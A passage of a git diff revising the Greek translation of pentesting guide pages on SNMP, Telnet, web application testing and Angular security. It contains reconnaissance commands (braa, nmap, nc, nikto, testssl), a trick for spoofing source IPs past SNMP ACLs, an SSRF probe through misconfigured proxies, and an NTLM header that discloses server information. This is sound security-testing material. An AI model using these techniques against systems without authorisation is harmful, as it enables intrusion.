παρακολούθηση των προγραμμάτων που εκτελούνται αυτή τη στιγμή. - **Διαδρομή Διεργασιών**: Για να προσδιορίσετε από πού εκτελείται μια διεργασία, χρησιμοποιείται η τιμή MIB `1.3.6.1.2.1.25.4.2.1.4`. -- **Μονάδες Αποθήκευσης**: Η παρακολούθηση των μονάδων αποθήκευσης διευκολύνεται από `1.3.6.1.2.1.25.2.3.1.4`. +- **Μονάδες Αποθήκευσης**: Η παρακολούθηση των μονάδων αποθήκευσης διευκολύνεται από το `1.3.6.1.2.1.25.2.3.1.4`. - **Όνομα Λογισμικού**: Για να προσδιορίσετε το λογισμικό που είναι εγκατεστημένο σε ένα σύστημα, χρησιμοποιείται το `1.3.6.1.2.1.25.6.3.1.2`. - **Λογαριασμοί Χρηστών**: Η τιμή `1.3.6.1.4.1.77.1.2.25` επιτρέπει την παρακολούθηση των λογαριασμών χρηστών. -- **TCP Τοπικές Θύρες**: Τέλος, η `1.3.6.1.2.1.6.13.1.3` έχει οριστεί για την παρακολούθηση των τοπικών θυρών TCP, παρέχοντας πληροφορίες σχετικά με τις ενεργές συνδέσεις δικτύου. +- **TCP Τοπικές Θύρες**: Τέλος, το `1.3.6.1.2.1.6.13.1.3` έχει οριστεί για την παρακολούθηση των τοπικών θυρών TCP, παρέχοντας πληροφορίες σχετικά με τις ενεργές συνδέσεις δικτύου. ### Cisco @@ -174,11 +174,11 @@ snmp-rce.md ## **Μαζικό SNMP** -[Braa ](https://github.com/mteg/braa) είναι ένας μαζικός σαρωτής SNMP. Η προοριζόμενη χρήση ενός τέτοιου εργαλείου είναι, φυσικά, η εκτέλεση ερωτημάτων SNMP – αλλά σε αντίθεση με το snmpwalk από το net-snmp, είναι ικανό να ερωτά δεκάδες ή εκατοντάδες υπολογιστές ταυτόχρονα, και σε μία μόνο διαδικασία. Έτσι, καταναλώνει πολύ λίγους πόρους συστήματος και εκτελεί τη σάρωση ΠΟΛΥ γρήγορα. +[Braa ](https://github.com/mteg/braa)είναι ένας μαζικός σαρωτής SNMP. Η προοριζόμενη χρήση ενός τέτοιου εργαλείου είναι, φυσικά, η εκτέλεση ερωτημάτων SNMP – αλλά σε αντίθεση με το snmpwalk από το net-snmp, είναι ικανό να ερωτά δεκάδες ή εκατοντάδες υπολογιστές ταυτόχρονα, και σε μία μόνο διαδικασία. Έτσι, καταναλώνει πολύ λίγους πόρους συστήματος και εκτελεί τη σάρωση ΠΟΛΥ γρήγορα. -Το Braa υλοποιεί τη ΔΙΚΗ του στοίβα SNMP, επομένως δεν χρειάζεται καμία βιβλιοθήκη SNMP όπως το net-snmp. +Το Braa υλοποιεί τη ΔΙΚΗ του στοίβα snmp, οπότε ΔΕΝ χρειάζεται καμία βιβλιοθήκη SNMP όπως το net-snmp. -**Σύνταξη:** braa \[Community-string]@\[IP of SNMP server]:\[iso id] +**Σύνταξη:** braa \[Community-string]@\[IP του διακομιστή SNMP]:\[iso id] ```bash braa ignite123@192.168.1.125:.1.3.6.* ``` @@ -194,7 +194,7 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp ``` ### **Εντοπισμός Ιδιωτικής Συμβολοσειράς** -Ένα κρίσιμο βήμα περιλαμβάνει τον εντοπισμό της **ιδιωτικής συμβολοσειράς κοινότητας** που χρησιμοποιούν οι οργανισμοί, ιδιαίτερα στους δρομολογητές Cisco IOS. Αυτή η συμβολοσειρά επιτρέπει την εξαγωγή των **τρέχουσων ρυθμίσεων** από τους δρομολογητές. Ο εντοπισμός συχνά βασίζεται στην ανάλυση των δεδομένων SNMP Trap για τη λέξη "trap" με μια **εντολή grep**: +Ένα κρίσιμο βήμα περιλαμβάνει τον εντοπισμό της **ιδιωτικής συμβολοσειράς κοινότητας** που χρησιμοποιείται από οργανισμούς, ιδιαίτερα σε δρομολογητές Cisco IOS. Αυτή η συμβολοσειρά επιτρέπει την εξαγωγή των **τρέχουσων ρυθμίσεων** από τους δρομολογητές. Ο εντοπισμός συχνά βασίζεται στην ανάλυση των δεδομένων SNMP Trap για τη λέξη "trap" με μια **εντολή grep**: ```bash grep -i "trap" *.snmp ``` @@ -218,12 +218,13 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp Εάν υπάρχει μια ACL που επιτρέπει μόνο σε ορισμένες διευθύνσεις IP να ερωτούν την υπηρεσία SMNP, μπορείτε να ψεύσετε μία από αυτές τις διευθύνσεις μέσα στο πακέτο UDP και να καταγράψετε την κίνηση. -## Εξέταση αρχείων διαμόρφωσης SNMP +## Εξέταση αρχείων ρυθμίσεων SNMP - snmp.conf - snmpd.conf - snmp-config.xml + ## HackTricks Αυτόματες Εντολές ``` Protocol_Name: SNMP #Protocol Abbreviation if there is one. @@ -236,7 +237,7 @@ Description: Notes for SNMP Note: | SNMP - Simple Network Management Protocol is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...). -https://book.hacktricks.xyz/pentesting/pentesting-snmp +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html Entry_2: Name: SNMP Check diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md index f45b05812..9253642e6 100644 --- a/src/network-services-pentesting/pentesting-telnet.md +++ b/src/network-services-pentesting/pentesting-telnet.md @@ -5,19 +5,19 @@ ## **Βασικές Πληροφορίες** -Το Telnet είναι ένα πρωτόκολλο δικτύου που δίνει στους χρήστες έναν μη ασφαλή τρόπο πρόσβασης σε έναν υπολογιστή μέσω ενός δικτύου. +Το Telnet είναι ένα πρωτόκολλο δικτύου που παρέχει στους χρήστες έναν μη ασφαλή τρόπο πρόσβασης σε έναν υπολογιστή μέσω ενός δικτύου. **Προεπιλεγμένη θύρα:** 23 ``` 23/tcp open telnet ``` -## **Καταμέτρηση** +## **Αναγνώριση** ### **Λήψη Μπανερ** ```bash nc -vn 23 ``` -Όλη η ενδιαφέρουσα αρίθμηση μπορεί να πραγματοποιηθεί με το **nmap**: +Όλη η ενδιαφέρουσα αρίθμηση μπορεί να πραγματοποιηθεί με **nmap**: ```bash nmap -n -sV -Pn --script "*telnet* and safe" -p 23 ``` @@ -25,7 +25,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 Από το [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Στο Πρωτόκολλο TELNET υπάρχουν διάφορες "**επιλογές**" που θα εγκριθούν και μπορεί να χρησιμοποιηθούν με τη δομή "**DO, DON'T, WILL, WON'T**" για να επιτρέψουν σε έναν χρήστη και σε έναν διακομιστή να συμφωνήσουν να χρησιμοποιήσουν ένα πιο περίπλοκο (ή ίσως απλώς διαφορετικό) σύνολο συμβάσεων για τη σύνδεση TELNET τους. Τέτοιες επιλογές θα μπορούσαν να περιλαμβάνουν την αλλαγή του χαρακτήρα, τη λειτουργία ηχούς κ.λπ. -**Ξέρω ότι είναι δυνατό να απαριθμήσω αυτές τις επιλογές αλλά δεν ξέρω πώς, οπότε ενημέρωσέ με αν ξέρεις πώς.** +**Ξέρω ότι είναι δυνατό να απαριθμήσω αυτές τις επιλογές αλλά δεν ξέρω πώς, οπότε ενημερώστε με αν ξέρετε πώς.** ### [Brute force](../generic-hacking/brute-force.md#telnet) @@ -48,7 +48,7 @@ Note: | wireshark to hear creds being passed tcp.port == 23 and ip.addr != myip -https://book.hacktricks.xyz/pentesting/pentesting-telnet +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index c17a4ccc5..5c992f8a7 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -30,7 +30,7 @@ web-api-pentesting.md - [ ] Ξεκινήστε με την **ταυτοποίηση** των **τεχνολογιών** που χρησιμοποιούνται από τον web server. Αναζητήστε **κόλπα** που να έχετε υπόψη σας κατά τη διάρκεια της υπόλοιπης δοκιμής αν μπορείτε να ταυτοποιήσετε επιτυχώς την τεχνολογία. - [ ] Υπάρχει κάποια **γνωστή ευπάθεια** της έκδοσης της τεχνολογίας; - [ ] Χρησιμοποιείτε κάποια **γνωστή τεχνολογία**; Υπάρχει κάποιο **χρήσιμο κόλπο** για να εξάγετε περισσότερες πληροφορίες; -- [ ] Υπάρχει κάποιος **ειδικευμένος σαρωτής** που να τρέξετε (όπως το wpscan); +- [ ] Υπάρχει κάποιος **ειδικευμένος σαρωτής** που να τρέξει (όπως το wpscan); - [ ] Ξεκινήστε με **γενικούς σαρωτές**. Ποτέ δεν ξέρετε αν θα βρουν κάτι ή αν θα βρουν κάποιες ενδιαφέρουσες πληροφορίες. - [ ] Ξεκινήστε με τους **αρχικούς ελέγχους**: **robots**, **sitemap**, **404** σφάλμα και **SSL/TLS σάρωση** (αν είναι HTTPS). - [ ] Ξεκινήστε **spidering** τη web σελίδα: Είναι ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φακέλους** και **παραμέτρους που χρησιμοποιούνται.** Επίσης, ελέγξτε για **ειδικές ανακαλύψεις**. @@ -99,18 +99,18 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) _Λάβετε υπόψη ότι το **ίδιο domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικές **θύρες**, **φακέλους** και **subdomains**._\ -Αν η web εφαρμογή χρησιμοποιεί οποιαδήποτε γνωστή **tech/platform που αναφέρθηκε προηγουμένως** ή **οποιαδήποτε άλλη**, μην ξεχάσετε να **search on the Internet** νέες tricks (και ενημερώστε με!). +Εάν η web εφαρμογή χρησιμοποιεί οποιαδήποτε γνωστή **tech/platform που αναφέρθηκε προηγουμένως** ή **οποιαδήποτε άλλη**, μην ξεχάσετε να **search on the Internet** νέες tricks (και ενημερώστε με!). ### Source Code Review -Αν ο **source code** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από την εκτέλεση από **τον εαυτό σας ενός White box test** της εφαρμογής, υπάρχει **ορισμένες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για την τρέχουσα **Black-Box testing**: +Εάν ο **κώδικας** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από την εκτέλεση από **τον εαυτό σας ενός White box test** της εφαρμογής, υπάρχει **ορισμένες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για την τρέχουσα **Black-Box testing**: - Υπάρχει κάποιο **Change-log ή Readme ή Version** αρχείο ή οτιδήποτε με **version info accessible** μέσω web; - Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσβάσιμο;) **αρχείο** με credentials (ονόματα χρηστών ή κωδικούς); - Είναι οι **κωδικοί** σε **plain text**, **encrypted** ή ποιο **hashing algorithm** χρησιμοποιείται; -- Χρησιμοποιεί κάποιο **master key** για την κρυπτογράφηση κάποιου πράγματος; Ποιο **algorithm** χρησιμοποιείται; +- Χρησιμοποιεί κάποιο **master key** για την κρυπτογράφηση κάποιου; Ποιο **algorithm** χρησιμοποιείται; - Μπορείτε να **access any of these files** εκμεταλλευόμενοι κάποια ευπάθεια; -- Υπάρχει κάποια **ενδιαφέρουσα πληροφορία στο github** (λυμένα και μη λυμένα) **issues**; Ή στην **commit history** (ίσως κάποιο **password introduced inside an old commit**) ; +- Υπάρχει κάποια **ενδιαφέρουσα πληροφορία στο github** (λυμένα και μη λυμένα) **issues**; Ή στην **ιστορία commit** (ίσως κάποιο **password που εισήχθη σε ένα παλιό commit**) ; {{#ref}} code-review-tools.md @@ -118,7 +118,7 @@ code-review-tools.md ### Automatic scanners -#### Γενικής χρήσης αυτόματοι σαρωτές +#### General purpose automatic scanners ```bash nikto -h whatweb -a 4 @@ -169,7 +169,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs - Πρόσβαση σε **ψεύτικες σελίδες** όπως /whatever_fake.php (.aspx,.html,.κ.λπ.) - **Προσθέστε "\[]", "]]", και "\[\["** στις **τιμές cookie** και **τιμές παραμέτρων** για να δημιουργήσετε σφάλματα - Δημιουργήστε σφάλμα δίνοντας είσοδο ως **`/~randomthing/%s`** στο **τέλος** της **διεύθυνσης URL** -- Δοκιμάστε **διαφορετικά HTTP Verbs** όπως PATCH, DEBUG ή λάθος όπως FAKE +- Δοκιμάστε **διαφορετικά HTTP Verbs** όπως PATCH, DEBUG ή λανθασμένα όπως FAKE #### **Ελέγξτε αν μπορείτε να ανεβάσετε αρχεία (**[**PUT verb, WebDav**](put-method-webdav.md)**)** @@ -178,12 +178,12 @@ joomlavs.rb #https://github.com/rastating/joomlavs - **Brute Force** διαπιστευτήρια - **Ανεβάστε αρχεία** μέσω WebDav στους **υπόλοιπους** **βρεθέντες φακέλους** μέσα στην ιστοσελίδα. Μπορεί να έχετε άδειες να ανεβάσετε αρχεία σε άλλους φακέλους. -### **Ευπάθειες SSL/TLS** +### **SSL/TLS ευπάθειες** - Αν η εφαρμογή **δεν αναγκάζει τον χρήστη να χρησιμοποιεί HTTPS** σε κανένα σημείο, τότε είναι **ευάλωτη σε MitM** - Αν η εφαρμογή **αποστέλλει ευαίσθητα δεδομένα (κωδικούς πρόσβασης) χρησιμοποιώντας HTTP**. Τότε είναι μια υψηλή ευπάθεια. -Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για να ελέγξετε για **ευπάθειες** (Στα προγράμματα Bug Bounty πιθανώς αυτές οι ευπάθειες δεν θα γίνουν αποδεκτές) και χρησιμοποιήστε [**a2sv** ](https://github.com/hahwul/a2sv) για να επανελέγξετε τις ευπάθειες: +Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για να ελέγξετε για **ευπάθειες** (Στα προγράμματα Bug Bounty πιθανώς αυτού του είδους οι ευπάθειες δεν θα γίνουν αποδεκτές) και χρησιμοποιήστε [**a2sv** ](https://github.com/hahwul/a2sv) για να επανελέγξετε τις ευπάθειες: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -216,14 +216,14 @@ sslyze --regular - [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δίνοντας ένα αρχείο (HTML) θα εξάγει URLs από αυτό χρησιμοποιώντας έξυπνη κανονική έκφραση για να βρει και να εξάγει τις σχετικές URLs από άσχημα (minify) αρχεία. - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, διάφορα εργαλεία): Συγκεντρώνει ενδιαφέρουσες πληροφορίες από αρχεία JS χρησιμοποιώντας διάφορα εργαλεία. - [**subjs**](https://github.com/lc/subjs) (go): Βρείτε αρχεία JS. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώστε μια σελίδα σε έναν headless browser και εκτυπώστε όλες τις URLs που φορτώθηκαν για να φορτωθεί η σελίδα. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώστε μια σελίδα σε έναν headless browser και εκτυπώστε όλες τις URLs που φορτώθηκαν για να φορτώσετε τη σελίδα. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Εργαλείο ανακάλυψης περιεχομένου που συνδυάζει πολλές επιλογές των προηγούμενων εργαλείων. - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Μια επέκταση Burp για να βρείτε δρόμους και παραμέτρους σε αρχεία JS. - [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ένα εργαλείο που δίνοντας το URL .js.map θα σας δώσει τον beautified κώδικα JS. - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Αυτό είναι ένα εργαλείο που χρησιμοποιείται για την ανακάλυψη endpoints για έναν δεδομένο στόχο. - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύψτε συνδέσμους από τη μηχανή wayback (κατεβάζοντας επίσης τις απαντήσεις στη μηχανή wayback και αναζητώντας περισσότερους συνδέσμους). - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμη και συμπληρώνοντας φόρμες) και επίσης βρείτε ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένες κανονικές εκφράσεις. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Το Spider Suite είναι ένα προηγμένο multi-feature GUI web security Crawler/Spider σχεδιασμένο για επαγγελματίες κυβερνοασφάλειας. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Το Spider Suite είναι ένα προηγμένο GUI web security Crawler/Spider σχεδιασμένο για επαγγελματίες κυβερνοασφάλειας. - [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα πακέτο Go και [εργαλείο γραμμής εντολών](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για την εξαγωγή URLs, δρόμων, μυστικών και άλλων ενδιαφέροντων δεδομένων από τον πηγαίο κώδικα JavaScript. - [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Το ParaForge είναι μια απλή **επέκταση Burp Suite** για **να εξάγει τις παραμέτρους και τα endpoints** από το αίτημα για να δημιουργήσει προσαρμοσμένες λίστες λέξεων για fuzzing και αρίθμηση. - [**katana**](https://github.com/projectdiscovery/katana) (go): Καταπληκτικό εργαλείο για αυτό. @@ -270,8 +270,8 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται - [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Βρείτε σπασμένους συνδέσμους μέσα σε HTML που μπορεί να είναι επιρρεπείς σε καταλήψεις. - **Αντίγραφα αρχείων**: Μόλις βρείτε όλα τα αρχεία, αναζητήστε αντίγραφα όλων των εκτελέσιμων αρχείων ("_.php_", "_.aspx_"...). Κοινές παραλλαγές για την ονομασία ενός αντιγράφου είναι: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp και file.old._ Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**bfac**](https://github.com/mazen160/bfac) **ή** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Ανακαλύψτε νέες παραμέτρους**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυφές παραμέτρους. Αν μπορείτε, θα μπορούσατε να προσπαθήσετε να αναζητήσετε** κρυφές παραμέτρους σε κάθε εκτελέσιμο αρχείο web. -- _Arjun όλες οι προεπιλεγμένες λίστες λέξεων:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) +- **Ανακαλύψτε νέες παραμέτρους**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυφές παραμέτρους. Αν μπορείτε, θα μπορούσατε να προσπαθήσετε να αναζητήσετε** κρυφές παραμέτρους σε κάθε εκτελέσιμο web αρχείο. +- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) @@ -289,7 +289,7 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται - Αναζητήστε **συνδέσμους** σε άλλα αρχεία μέσα στα **CSS** αρχεία. - [Αν βρείτε ένα _**.git**_ αρχείο μπορεί να εξαχθεί κάποια πληροφορία](git.md). -- Αν βρείτε ένα _**.env**_ πληροφορίες όπως api keys, κωδικούς βάσεων δεδομένων και άλλες πληροφορίες μπορεί να βρεθούν. +- Αν βρείτε ένα _**.env**_ πληροφορίες όπως api keys, κωδικούς db και άλλες πληροφορίες μπορεί να βρεθούν. - Αν βρείτε **API endpoints** θα [πρέπει επίσης να τα δοκιμάσετε](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανότατα θα "μοιάζουν" με αυτά. - **JS αρχεία**: Στην ενότητα spidering αναφέρθηκαν διάφορα εργαλεία που μπορούν να εξάγουν δρόμους από αρχεία JS. Επίσης, θα ήταν ενδιαφέρον να **παρακολουθείτε κάθε JS αρχείο που βρέθηκε**, καθώς σε ορισμένες περιπτώσεις, μια αλλαγή μπορεί να υποδηλώνει ότι μια πιθανή ευπάθεια εισήχθη στον κώδικα. Μπορείτε να χρησιμοποιήσετε για παράδειγμα [**JSMon**](https://github.com/robre/jsmon)**.** - Θα πρέπει επίσης να ελέγξετε τα ανακαλυφθέντα JS αρχεία με [**RetireJS**](https://github.com/retirejs/retire.js/) ή [**JSHole**](https://github.com/callforpapers-source/jshole) για να δείτε αν είναι ευάλωτα. @@ -298,7 +298,7 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται - **JsFuck deobfuscation** (javascript με χαρακτήρες:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)). - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` - Σε πολλές περιπτώσεις, θα χρειαστεί να **κατανοήσετε τις κανονικές εκφράσεις** που χρησιμοποιούνται. Αυτό θα είναι χρήσιμο: [https://regex101.com/](https://regex101.com) ή [https://pythonium.net/regex](https://pythonium.net/regex). -- Μπορείτε επίσης να **παρακολουθείτε τα αρχεία όπου ανιχνεύθηκαν φόρμες**, καθώς μια αλλαγή στην παράμετρο ή η εμφάνιση μιας νέας φόρμας μπορεί να υποδηλώνει μια πιθανή νέα ευάλωτη λειτουργικότητα. +- Μπορείτε επίσης να **παρακολουθείτε τα αρχεία όπου ανιχνεύθηκαν φόρμες**, καθώς μια αλλαγή στην παράμετρο ή η εμφάνιση μιας νέας φόρμας μπορεί να υποδηλώνει μια πιθανή νέα ευάλωτη λειτουργία. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -308,11 +308,11 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται **502 Proxy Error** -Αν οποιαδήποτε σελίδα **απαντά** με αυτόν τον **κωδικό**, είναι πιθανό να είναι μια **κακώς ρυθμισμένη proxy**. **Αν στείλετε ένα HTTP αίτημα όπως: `GET https://google.com HTTP/1.1`** (με την κεφαλίδα host και άλλες κοινές κεφαλίδες), η **proxy** θα προσπαθήσει να **προσεγγίσει** _**google.com**_ **και θα έχετε βρει μια** SSRF. +Αν οποιαδήποτε σελίδα **απαντά** με αυτόν τον **κωδικό**, πιθανότατα είναι μια **κακώς ρυθμισμένη proxy**. **Αν στείλετε ένα HTTP αίτημα όπως: `GET https://google.com HTTP/1.1`** (με την κεφαλίδα host και άλλες κοινές κεφαλίδες), η **proxy** θα προσπαθήσει να **προσεγγίσει** _**google.com**_ **και θα έχετε βρει μια** SSRF. **NTLM Authentication - Info disclosure** -Αν ο τρέχων server που ζητάει αυθεντικοποίηση είναι **Windows** ή αν βρείτε μια είσοδο που ζητάει τα **credentials** σας (και ζητάει το **domain** **name**), μπορείτε να προκαλέσετε μια **διαρροή πληροφοριών**.\ +Αν ο τρέχων server ζητάει αυθεντικοποίηση είναι **Windows** ή αν βρείτε μια είσοδο που ζητάει τα **credentials** σας (και ζητάει το **domain** **name**), μπορείτε να προκαλέσετε μια **διαρροή πληροφοριών**.\ **Στείλτε** την **κεφαλίδα**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` και λόγω του πώς λειτουργεί η **NTLM αυθεντικοποίηση**, ο server θα απαντήσει με εσωτερικές πληροφορίες (έκδοση IIS, έκδοση Windows...) μέσα στην κεφαλίδα "WWW-Authenticate".\ Μπορείτε να **αυτοματοποιήσετε** αυτό χρησιμοποιώντας το **nmap plugin** "_http-ntlm-info.nse_". @@ -348,7 +348,7 @@ Entry_1: Name: Notes Description: Notes for Web Note: | -https://book.hacktricks.xyz/pentesting/pentesting-web +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/index.html Entry_2: Name: Quick Web Scan diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md index 1ae506a0b..987e6c594 100644 --- a/src/network-services-pentesting/pentesting-web/angular.md +++ b/src/network-services-pentesting/pentesting-web/angular.md @@ -5,7 +5,7 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist). * [ ] Το Angular θεωρείται ένα framework πλευράς πελάτη και δεν αναμένεται να παρέχει προστασία πλευράς διακομιστή -* [ ] Το sourcemap για τα scripts είναι απενεργοποιημένο στην παραμετροποίηση του έργου +* [ ] Το sourcemap για τα scripts είναι απενεργοποιημένο στη ρύθμιση του έργου * [ ] Η μη αξιόπιστη είσοδος χρήστη πάντα διαστρεβλώνεται ή καθαρίζεται πριν χρησιμοποιηθεί σε πρότυπα * [ ] Ο χρήστης δεν έχει έλεγχο πάνω σε πρότυπα πλευράς διακομιστή ή πλευράς πελάτη * [ ] Η μη αξιόπιστη είσοδος χρήστη καθαρίζεται χρησιμοποιώντας ένα κατάλληλο πλαίσιο ασφαλείας πριν γίνει αξιόπιστη από την εφαρμογή @@ -14,7 +14,7 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist). ## What is Angular -Το Angular είναι ένα **ισχυρό** και **ανοιχτού κώδικα** framework front-end που διατηρείται από την **Google**. Χρησιμοποιεί **TypeScript** για να βελτιώσει την αναγνωσιμότητα του κώδικα και την αποσφαλμάτωση. Με ισχυρούς μηχανισμούς ασφαλείας, το Angular αποτρέπει κοινές ευπάθειες πλευράς πελάτη όπως **XSS** και **ανοιχτές ανακατευθύνσεις**. Μπορεί να χρησιμοποιηθεί και στην **πλευρά του διακομιστή**, καθιστώντας τις παραμέτρους ασφαλείας σημαντικές από **και τις δύο πλευρές**. +Το Angular είναι ένα **ισχυρό** και **ανοιχτού κώδικα** framework front-end που διατηρείται από την **Google**. Χρησιμοποιεί **TypeScript** για να βελτιώσει την αναγνωσιμότητα του κώδικα και την αποσφαλμάτωση. Με ισχυρούς μηχανισμούς ασφαλείας, το Angular αποτρέπει κοινές ευπάθειες πλευράς πελάτη όπως **XSS** και **ανοιχτές ανακατευθύνσεις**. Μπορεί να χρησιμοποιηθεί και στην **πλευρά του διακομιστή**, καθιστώντας τις ασφαλιστικές παραμέτρους σημαντικές από **και τις δύο πλευρές**. ## Framework architecture @@ -39,17 +39,17 @@ my-workspace/ ├── angular.json #provides workspace-wide and project-specific configuration defaults └── tsconfig.json #provides the base TypeScript configuration for projects in the workspace ``` -Σύμφωνα με την τεκμηρίωση, κάθε εφαρμογή Angular έχει τουλάχιστον ένα συστατικό, το ριζικό συστατικό (`AppComponent`) που συνδέει μια ιεραρχία συστατικών με το DOM. Κάθε συστατικό ορίζει μια κλάση που περιέχει δεδομένα και λογική της εφαρμογής, και σχετίζεται με ένα HTML πρότυπο που ορίζει μια προβολή που θα εμφανίζεται σε ένα στοχευμένο περιβάλλον. Ο διακοσμητής `@Component()` αναγνωρίζει την κλάση αμέσως από κάτω του ως συστατικό και παρέχει το πρότυπο και σχετικές μεταδεδομένες πληροφορίες που είναι συγκεκριμένες για το συστατικό. Το `AppComponent` ορίζεται στο αρχείο `app.component.ts`. +Σύμφωνα με την τεκμηρίωση, κάθε εφαρμογή Angular έχει τουλάχιστον ένα συστατικό, το ριζικό συστατικό (`AppComponent`) που συνδέει μια ιεραρχία συστατικών με το DOM. Κάθε συστατικό ορίζει μια κλάση που περιέχει δεδομένα και λογική της εφαρμογής, και σχετίζεται με ένα HTML template που ορίζει μια προβολή που θα εμφανίζεται σε ένα στοχευμένο περιβάλλον. Ο διακοσμητής `@Component()` αναγνωρίζει την κλάση αμέσως από κάτω του ως συστατικό και παρέχει το template και σχετικές μεταδεδομένες πληροφορίες που είναι συγκεκριμένες για το συστατικό. Το `AppComponent` ορίζεται στο αρχείο `app.component.ts`. Τα Angular NgModules δηλώνουν ένα πλαίσιο μεταγλώττισης για ένα σύνολο συστατικών που είναι αφιερωμένο σε έναν τομέα εφαρμογής, μια ροή εργασίας ή ένα στενά σχετιζόμενο σύνολο δυνατοτήτων. Κάθε εφαρμογή Angular έχει ένα ριζικό module, που ονομάζεται συμβατικά `AppModule`, το οποίο παρέχει τον μηχανισμό εκκίνησης που εκκινεί την εφαρμογή. Μια εφαρμογή συνήθως περιέχει πολλά λειτουργικά modules. Το `AppModule` ορίζεται στο αρχείο `app.module.ts`. -Το Angular `Router` NgModule παρέχει μια υπηρεσία που σας επιτρέπει να ορίσετε μια διαδρομή πλοήγησης μεταξύ των διαφορετικών καταστάσεων εφαρμογής και ιεραρχιών προβολής στην εφαρμογή σας. Το `RouterModule` ορίζεται στο αρχείο `app-routing.module.ts`. +Το Angular `Router` NgModule παρέχει μια υπηρεσία που σας επιτρέπει να ορίσετε μια διαδρομή πλοήγησης μεταξύ των διαφορετικών καταστάσεων εφαρμογής και ιεραρχιών προβολών στην εφαρμογή σας. Το `RouterModule` ορίζεται στο αρχείο `app-routing.module.ts`. -Για δεδομένα ή λογική που δεν 